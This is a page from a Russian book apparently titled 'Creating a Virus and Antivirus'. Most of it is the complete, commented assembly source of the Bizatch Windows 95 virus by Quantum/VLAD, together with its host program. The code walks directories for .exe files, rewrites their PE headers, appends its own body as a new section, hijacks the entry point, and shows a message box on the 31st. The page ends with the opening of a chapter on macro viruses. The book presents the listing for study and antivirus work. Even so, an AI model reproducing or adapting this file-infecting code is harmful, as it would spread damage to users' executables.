Текст книги "Создаем вирус и антивирус"
Автор книги: Игорь Гульев
Жанр:
Программирование
сообщить о нарушении
Текущая страница: 4 (всего у книги 15 страниц) [доступный отрывок для чтения: 6 страниц]
.386
locals
jumps
.model flat,STDCALL
include win32.inc ;некоторые 32−битные константы и структуры
L equ
;Определим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess:PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn InvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadIconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC
;Для поддержки Unicode Win32 интерпретирует некоторые функции
;для ANSI или расширенного набора символов.
;В качестве примера рассмотрим ANSI
CreateWindowEx equ
DefWindowProc equ
DispatchMessage equ
FindWindow equ
GetMessage equ
GetModuleHandle equ
LoadCursor equ
LoadIcon equ
MessageBox equ
RegisterClass equ
TextOut equ
.data
newhwnd dd 0
lppaint PAINTSTRUCT >
msg MSGSTRUCT >
wc WNDCLASS >
mbx_count dd 0
hInst dd 0
szTitleName db ”Bizatch by Quantum / VLAD activated”
zero db 0
szAlternate db ”more than once”,0
szClassName db ”ASMCLASS32”,0
;Сообщение, выводимое в окне
szPaint db ”Left Button pressed:”
s_num db ”00000000h times.”,0
;Размер сообщения
MSG_L EQU ($−offset szPaint)−1
.code
;Сюда обычно передается управление от загрузчика.
start:
;Получим HMODULE
push L 0
call GetModuleHandle
mov [hInst],eax
push L 0
push offset szClassName
call FindWindow
or eax,eax
jz reg_class
;Пространство для модификации строки заголовка
mov [zero],” ”
reg_class:
;Инициализируем структуру WndClass
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
mov [wc.clsLpfnWndProc],offset WndProc
mov [wc.clsCbClsExtra],0
mov [wc.clsCbWndExtra],0
mov eax,[hInst]
mov [wc.clsHInstance], eax
;Загружаем значок
push L IDI_APPLICATION
push L 0
call LoadIcon
mov [wc.clsHIcon], eax
;Загружаем курсор
push L IDC_ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor], eax
;Инициализируем оставшиеся поля структуры WndClass
mov [wc.clsHbrBackground],COLOR_WINDOW+1
mov dword ptr [wc.clsLpszMenuName],0
mov dword ptr [wc.clsLpszClassName],offset szClassName
;Регистрируем класс окна
push offset wc
call RegisterClass
;Создаем окно
push L 0 ;lpParam
push [hInst] ;hInstance
push L 0 ;Меню
push L 0 ;hwnd родительского
окна
push L CW_USEDEFAULT ;Высота
push L CW_USEDEFAULT ;Длина
push L CW_USEDEFAULT ;Y
push L CW_USEDEFAULT ;X
push L WS_OVERLAPPEDWINDOW ;Style
push offset szTitleName ;Title Style
push offset szClassName ;Class name
push L 0 ;extra style
call CreateWindowEx
;Сохраняем HWND
mov [newhwnd], eax
;Отображаем окно на экране
push L SW_SHOWNORMAL
push [newhwnd]
call ShowWindow
;Обновляем содержимое окна
push [newhwnd]
call UpdateWindow
;Очередь сообщений
msg_loop:
;Прочитаем следующее сообщение из очереди
push L 0
push L 0
push L 0
push offset msg
call GetMessage
;Если функция GetMessage вернула нулевое значение, то завершаем
;обработку сообщений и выходим из процесса
cmp ax,0
je end_loop
;Преобразуем виртуальные коды клавиш в сообщения клавиатуры
push offset msg
call TranslateMessage
;Передаем это сообщение назад в Windows
push offset msg
call DispatchMessage
;Переходим к следующему сообщению
jmp msg_loop
;Выход из процесса
end_loop:
push [msg.msWPARAM]
call ExitProcess
;Обработка сообщений окна. Win32 требует сохранения регистров
;EBX, EDI, ESI. Запишем эти регистры после ”uses” в строке ”proc”.
;Это позволит Ассемблеру сохранить их
WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:
DWORD, lparam:DWORD
LOCAL theDC:DWORD
;Проверим, какое сообщение получили, и перейдем к обработке
cmp [wmsg],WM_DESTROY
je wmdestroy
cmp [wmsg],WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg],WM_SIZE
je wmsize
cmp [wmsg],WM_CREATE
je wmcreate
cmp [wmsg],WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg],WM_PAINT
je wmpaint
cmp [wmsg],WM_GETMINMAXINFO
je wmgetminmaxinfo
;Данная программа не обрабатывает это сообщение.
;Передадим его Windows,
;чтобы оно было обработано по умолчанию
jmp defwndproc
;Сообщение WM_PAINT (перерисовать содержимое окна)
wmpaint:
;Подготовим окно для перерисовки
push offset lppaint
push [hwnd]
call BeginPaint
mov [theDC], eax
;Переведем в ASCII−формат значение mbx_count, которое
;показывает, сколько раз была нажата левая кнопка мыши
mov eax,[mbx_count]
mov edi, offset s_num
call HexWrite32
;Вывод строки в окно
push L MSG_L ;Длина строки
push offset szPaint ;Строка
push L 5 ;Y
push L 5 ;X
push [theDC] ;DC
call TextOut
;Обозначим завершение перерисовки окна
push offset lppaint
push [hwnd]
call EndPaint
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_CREATE (создание окна)
wmcreate:
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение, не обрабатываемое данной программой, передаем Windows
defwndproc:
push [lparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
;Выходим из обработки сообщения
jmp finish
;Сообщение WM_DESTROY (уничтожение окна)
wmdestroy:
;Закроем поток
push L 0
call PostQuitMessage
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_LBUTTONDOWN (нажата левая кнопка мыши)
wmlbuttondown:
inc [mbx_count]
;Обновим содержимое окна
push L 0
push L 0
push [hwnd]
call InvalidateRect
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
wmrbuttondown:
push L 0
call MessageBeep
;Выходим из обработки сообщения
jmp finish
;Сообщение WM_SIZE (изменен размер окна)
wmsize:
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Сообщение WM_GETMINMAXINFO (попытка изменить размер
;или положение окна)
wmgetminmaxinfo:
;Заполним структуру MINMAXINFO
mov ebx, [lparam]
mov [(MINMAXINFO ptr ebx).mintrackposition_x],350
mov [(MINMAXINFO ptr ebx).mintrackposition_y],60
;Выходим из обработки сообщения
mov eax, 0
jmp finish
;Выходим из обработки сообщения
finish:
ret
WndProc endp
;Процедура перевода байта в ASCII−формат для печати. Значение,
;находящееся в регистре AL, будет записано в ASCII−формате
;по адресу ES:EDI
HexWrite8 proc
;Разделяем байт на полубайты и загружаем их в регистры AH и AL
mov ah,al
and al,0Fh
shr ah,4
;Добавляем 30h к каждому полубайту, чтобы регистры содержали коды
;соответствующих символов ASCII. Если число,
;записанное в полубайте, было больше 9,
;то значение в этом полубайте надо еще корректировать
or ax,3030h
;Меняем полубайты местами, чтобы регистр AH содержал младший
;полубайт, а регистр AL – старший
xchg al,ah
;Проверим, надо ли корректировать младший полубайт,
;если да – корректируем
cmp ah, 39h
ja @@4
;Проверим, надо ли корректировать старший полубайт,
;если да – корректируем
@@1:
cmp al,39h
ja @@3
;Сохраним значение по адресу ES:EDI
@@2:
stosw
ret
;Корректируем значение старшего полубайта
@@3:
sub al, 30h
add al, ”A”–10
jmp @@2
;Корректируем значение младшего полубайта
@@4:
sub ah, 30h
add ah, ”A”–10
jmp @@1
HexWrite8 endp
;Процедура перевода слова в ASCII−формат для печати.
;Значение, находящееся в регистре AX, будет записано
;в ASCII−формате по адресу ES:EDI
HexWrite16 proc
;Сохраним младший байт из стека
push ax
;Загрузим старший байт в регистр AL
xchg al,ah
;Переведем старший байт в ASCII−формат
call HexWrite8
;Восстановим младший байт из стека
pop ax
;Переведем младший байт в ASCII−формат
call HexWrite8
ret
HexWrite16 endp
;Процедура перевода двойного слова в ASCII−формат для печати.
;Значение, находящееся в регистре EAX, будет записано
;в ASCII−формате по адресу ES:EDI
HexWrite32 proc
;Сохраним младшее слово из стека
push eax
;Загрузим старшее слово в регистр AX
shr eax, 16
;Переведем старшее слово в ASCII−формат
call HexWrite16
;Восстановим младшее слово из стека
pop eax
;Переведем младшее слово в ASCII−формат
call HexWrite16
ret
HexWrite32 endp
;Сделаем процедуру WndProc доступной извне
public WndProc
ends
;Здесь начинается код вируса. Этот код переписывается из файла
;в файл. Все вышеописанное – всего лишь программа−носитель
vladseg segment para public ”vlad”
assume cs:vladseg
vstart:
;Вычислим текущий адрес
call recalc
recalc:
pop ebp
mov eax,ebp
db 2Dh ;Код команды SUB AX
subme dd 30000h+(recalc−vstart)
;Сохраним адрес в стеке
push eax
;Вычислим стартовый адрес вирусного кода
sub ebp,offset recalc
;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL
mov eax,[ebp+offset kern2]
;Проверим ключ. Если ключа нет, перейдем к точке 1
cmp dword ptr [eax],5350FC9Ch
jnz notkern2
;KERNEL найден, точка 2
mov eax,[ebp+offset kern2]
jmp movit
;Точка 2 не подошла, проверим точку 1
notkern2:
;Возьмем адрес первой известной нам точки KERNEL
mov eax,[ebp+offset kern1]
;Проверим ключ, если ключа нет – выходим
cmp dword ptr [eax],5350FC9Ch
jnz nopayload
;KERNEL найден, точка 1
mov eax,[ebp+offset kern1]
;KERNEL найден, адрес точки входа находится в регистре EAX
movit:
;Сохраним адрес KERNEL
mov [ebp+offset kern],eax
cld
;Запомним текущую директорию
lea eax,[ebp+offset orgdir]
push eax
push 255
call GetCurDir
;Инициализируем счетчик заражений
mov byte ptr [ebp+offset countinfect],0
;Ищем первый файл
infectdir:
lea eax,[ebp+offset win32_data_thang]
push eax
lea eax,[ebp+offset fname]
push eax
call FindFile
;Сохраним индекс для поиска
mov dword ptr [ebp+offset searchhandle],eax
;Проверим, найден ли файл. Если файл не найден,
;меняем директорию
cmp eax,–1
jz foundnothing
;Откроем файл для чтения и записи
gofile:
push 0
push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL
push 3 ;OPEN_EXISTING
push 0
push 0
push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE
lea eax,[ebp+offset fullname]
push eax
call CreateFile
;Сохраним описатель файла
mov dword ptr [ebp+offset ahand],eax
;Проверим, не произошла ли ошибка.
;Если ошибка произошла, ищем следующий файл
cmp eax,–1
jz findnextone
;Поставим указатель позиции чтения/записи на поле
;со смещением PE−заголовка
push 0
push 0
push 3Ch
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем адрес PE−заголовка
push 0
lea eax,[ebp+offset bytesread]
push eax
push 4
lea eax,[ebp+offset peheaderoffset]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
;Поставим указатель позиции чтения/записи на начало PE−заголовка
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем число байт, достаточное для вычисления полного размера
;PE−заголовка и таблицы объектов
push 0
lea eax,[ebp+offset bytesread]
push eax
push 58h
lea eax,[ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
;Проверим сигнатуру. Если ее нет, закрываем
;этот файл и ищем следующий
cmp dword ptr [ebp+offset peheader],00004550h;
jnz notape
;Проверим файл на зараженность. Если файл заражен,
;то закрываем этот файл и ищем следующий
cmp word ptr [ebp+offset peheader+4ch],0F00Dh
jz notape
cmp dword ptr [ebp+offset 52],4000000h
jz notape
;Поставим указатель позиции чтения/записи на начало PE−заголовка
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Считаем весь PE−заголовок и таблицу объектов
push 0
lea eax,[ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea eax,[ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call ReadFile
;Установим признак заражения
mov word ptr [ebp+offset peheader+4ch],0F00Dh
;Найдем смещение таблицы объектов
xor eax,eax
mov ax, word ptr [ebp+offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp+offset ObjectTableoffset],eax
;Вычислим смещение последнего (null) объекта в таблице объектов
mov esi,dword ptr [ebp+offset ObjectTableoffset]
lea eax,[ebp+offset peheader]
add esi,eax
xor eax,eax
mov ax,[ebp+offset numObj]
mov ecx,40
xor edx,edx
mul ecx
add esi,eax
;Увеличим число объектов на 1
inc word ptr [ebp+offset numObj]
lea edi,[ebp+offset newobject]
xchg edi,esi
;Вычислим относительный виртуальный адрес (Relative Virtual Address
;или RVA) нового объекта
mov eax,[edi−5*8+8]
add eax,[edi−5*8+12]
mov ecx,dword ptr [ebp+offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset RVA],eax
;Вычислим физический размер нового объекта
mov ecx,dword ptr [ebp+offset filealign]
mov eax,vend−vstart
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicalsize],eax
;Вычислим виртуальный размер нового объекта
mov ecx,dword ptr [ebp+offset objalign]
mov eax,vend–vstart+1000h
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset virtualsize],eax
;Вычислим физическое смещение нового объекта
mov eax,[edi−5*8+20]
add eax,[edi−5*8+16]
mov ecx,dword ptr [ebp+offset filealign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicaloffset],eax
;Обновим размер образа (размер в памяти) файла
mov eax,vend−vstart+1000h
add eax,dword ptr [ebp+offset imagesize]
mov ecx,[ebp+offset objalign]
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset imagesize],eax
;Скопируем новый объект в таблицу объектов
mov ecx,10
rep movsd
;Вычислим точку входа RVA
mov eax,dword ptr [ebp+offset RVA]
mov ebx,dword ptr [ebp+offset entrypointRVA]
mov dword ptr [ebp+offset entrypointRVA],eax
sub eax,ebx
add eax,5
;Установим значение, необходимое для возврата в носитель
mov dword ptr [ebp+offset subme],eax
;Поставим указатель позиции чтения/записи на начало PE−заголовка
push 0
push 0
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Запишем PE−заголовок и таблицу объектов в файл
push 0
lea eax,[ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea eax,[ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
;Увеличим счетчик заражений
inc byte ptr [ebp+offset countinfect]
;Поставим указатель позиции чтения/записи
;по физическому смещению нового объекта
push 0
push 0
push dword ptr [ebp+offset physicaloffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer
;Запишем тело вируса в новый объект
push 0
lea eax,[ebp+offset bytesread]
push eax
push vend−vstart
lea eax,[ebp+offset vstart]
push eax
push dword ptr [ebp+offset ahand]
call WriteFile
;Закроем файл
notape:
push dword ptr [ebp+offset ahand]
call CloseFile
;Переход к следующему файлу
findnextone:
;Проверим, сколько файлов заразили: если 3,
;то выходим, если меньше – ищем следующий
cmp byte ptr [ebp+offset countinfect],3
jz outty
;Ищем следующий файл
lea eax,[ebp+offset win32_data_thang]
push eax
push dword ptr [ebp+offset searchhandle]
call FindNext
;Если файл найден, переходим к заражению
or eax,eax
jnz gofile
;Сюда попадаем, если файл не найден
foundnothing:
;Сменим директорию
xor eax,eax
lea edi,[ebp+offset tempdir]
mov ecx,256/4
rep stosd
lea edi,[ebp+offset tempdir1]
mov ecx,256/4
rep stosd
;Получим текущую директорию
lea esi,[ebp+offset tempdir]
push esi
push 255
call GetCurDir
;Сменим директорию на ”.”
lea eax,[ebp+offset dotdot]
push eax
call SetCurDir
;Получим текущую директорию
lea edi,[ebp+offset tempdir1]
push edi
push 255
call GetCurDir
;Проверим, корневая ли это директория. Если да, то выходим
mov ecx,256/4
rep cmpsd
jnz infectdir
;”Заметаем следы” и выходим в программу−носитель
outty:
;Возвратимся в оригинальную текущую директорию
lea eax,[ebp+offset orgdir]
push eax
call SetCurDir
;Получим текущую дату и время
lea eax,[ebp+offset systimestruct]
push eax
call GetTime
;Проверим число. Если это 31−ое, выдаем сообщение
cmp word ptr [ebp+offset day],31
jnz nopayload
;Сообщение для пользователя
push 1000h ;MB_SYSTEMMODAL
lea eax,[ebp+offset boxtitle]
push eax
lea eax,[ebp+offset boxmsg]
push eax
push 0
call MsgBox
;Выход в программу−носитель
nopayload:
pop eax
jmp eax
;Когда KERNEL будет обнаружен, его смещение будет записано
kern dd 0BFF93B95h
;Значения KERNEL, известные нам
kern1 dd 0BFF93B95h
kern2 dd 0BFF93C1Dh
;Чтение текущей директории
GetCurDir:
;Запишем в стек значение для получения текущей
;директории и вызовем KERNEL
push 0BFF77744h
jmp [ebp+offset kern]
;Установка текущей директории
SetCurDir:
;Запишем в стек значение для установки текущей
;директории и вызовем KERNEL
push 0BFF7771Dh
jmp [ebp+offset kern]
;Получение времени и даты
GetTime:
;Проверим, какой KERNEL работает
cmp [ebp+offset kern],0BFF93B95h
jnz gettimekern2
;Запишем в стек значение для получения
;времени и даты и вызовем KERNEL
push 0BFF9D0B6h
jmp [ebp+offset kern]
gettimekern2:
;Запишем в стек значение для получения
;времени и даты и вызовем KERNEL
push 0BFF9D14Eh
jmp [ebp+offset kern]
;Вывод сообщения
MsgBox:
;Запишем в стек значение для вывода сообщения и вызовем KERNEL
push 0BFF638D9h
jmp [ebp+offset kern]
;Поиск первого файла
FindFile:
;Запишем в стек значение для поиска первого файла
;и вызовем KERNEL
push 0BFF77893h
jmp [ebp+offset kern]
;Поиск следующего файла
FindNext:
;Запишем в стек значение для поиска
;следующего файла и вызовем KERNEL
push 0BFF778CBh
jmp [ebp+offset kern]
;Открытие/создание файла
CreateFile:
;Запишем в стек значение для открытия/создания файла
;и вызовем KERNEL
push 0BFF77817h
jmp [ebp+offset kern]
;Установка указателя чтения/записи
SetFilePointer:
;Запишем в стек значение для установки
;указателя чтения/записи файла и вызовем KERNEL
push 0BFF76FA0h
jmp [ebp+offset kern]
;Чтение из файла
ReadFile:
;Запишем в стек значение для чтения из файла и вызовем KERNEL
push 0BFF75806h
jmp [ebp+offset kern]
;Запись в файл
WriteFile:
;Запишем в стек значение для записи в файл и вызовем KERNEL
push 0BFF7580Dh
jmp [ebp+offset kern]
;Закрытие файла
CloseFile:
;Запишем в стек значение для закрытия файла и вызовем KERNEL
push 0BFF7BC72h
jmp [ebp+offset kern]
;Счетчик заражений
countinfect db 0
;Используется для поиска файлов
win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 256 dup (0)
realname db 256 dup (0)
;Имя сообщения, выводимого 31−го числа
boxtitle db ”Bizatch by Quantum / VLAD”,0
;Сообщение, выводимое 31−го числа
boxmsg db ”The taste of fame just got tastier!”,0dh
db ”VLAD Australia does it again with the world”s first Win95 Virus”
db 0dh,0dh
db 9,”From the old school to the new. ”,0dh,0dh
db 9,”Metabolis”,0dh
db 9,”Qark”,0dh
db 9,”Darkman”,0dh
db 9,”Quantum”,0dh
db 9,”CoKe”,0
messagetostupidavers db ”Please note: the name of this virus is [Bizatch]”
db ”written by Quantum of VLAD”,0
;Данные о директориях
orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdir1 db 256 dup (0)
;Используется для смены директории
dotdot db ”.”,0
;Используется для получения времени/даты
systimestruct:
dw 0,0,0
day dw 0
dw 0,0,0,0
;Индекс для поиска файлов
searchhandle dd 0
;Маска для поиска
fname db ”*.exe”,0
;Описатель открытого файла
ahand dd 0
;Смещение PE−заголовка в файле
peheaderoffset dd 0
;Смещение таблицы объектов
ObjectTableoffset dd 0
;Количество записанных/считанных байт при работе с файлом
bytesread dd 0
;Новый объект
newobject:
oname db ”.vlad”,0,0,0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,0C0h
;Данные, необходимые для заражения файла
peheader:
signature dd 0
cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0
;Область памяти для чтения остатка PE−заголовка и таблицы объектов
vend:
db 1000h dup (0)
ends
end vstart
Глава 4
Макро-вирусы
В этой главе рассказано о макровирусах. Подробно описана процедура и методы заражения файлов. Представлен исходный текст макровируса с подробными комментариями. Приведены основные сведения о языке VBA, его процедурах, функциях, стандартных конструкциях.
Как известно, в последнее время большое распространение получили макро-вирусы. По сведениям из различных источников, на эти вирусы приходится от 70 до 80 процентов заражений. Изложенный ниже материал поможет разобраться в вирусах этого типа.
Инструментарий
Для изучения макро-вирусов понадобится некоторое программное обеспечение. В качестве «полигона» необходим MS-WORD версии 6.0 или выше. Для изучения зашифрованных макросов может пригодиться дизассемблер макросов (автор AURODREPH из VBB). Для более полного понимания всего изложенного ниже желательно иметь базовые знания о WORD BASIC.
Чтобы обезопасить рабочие файлы от плодов экспериментов, настоятельно рекомендуется создать резервную копию шаблона NORMAL. DOT в каталоге WINWORD6TEMPLATE, так как именно этот документ обычно заражается макро-вирусом. Когда все готово, самое время перейти к основам макро-вирусов.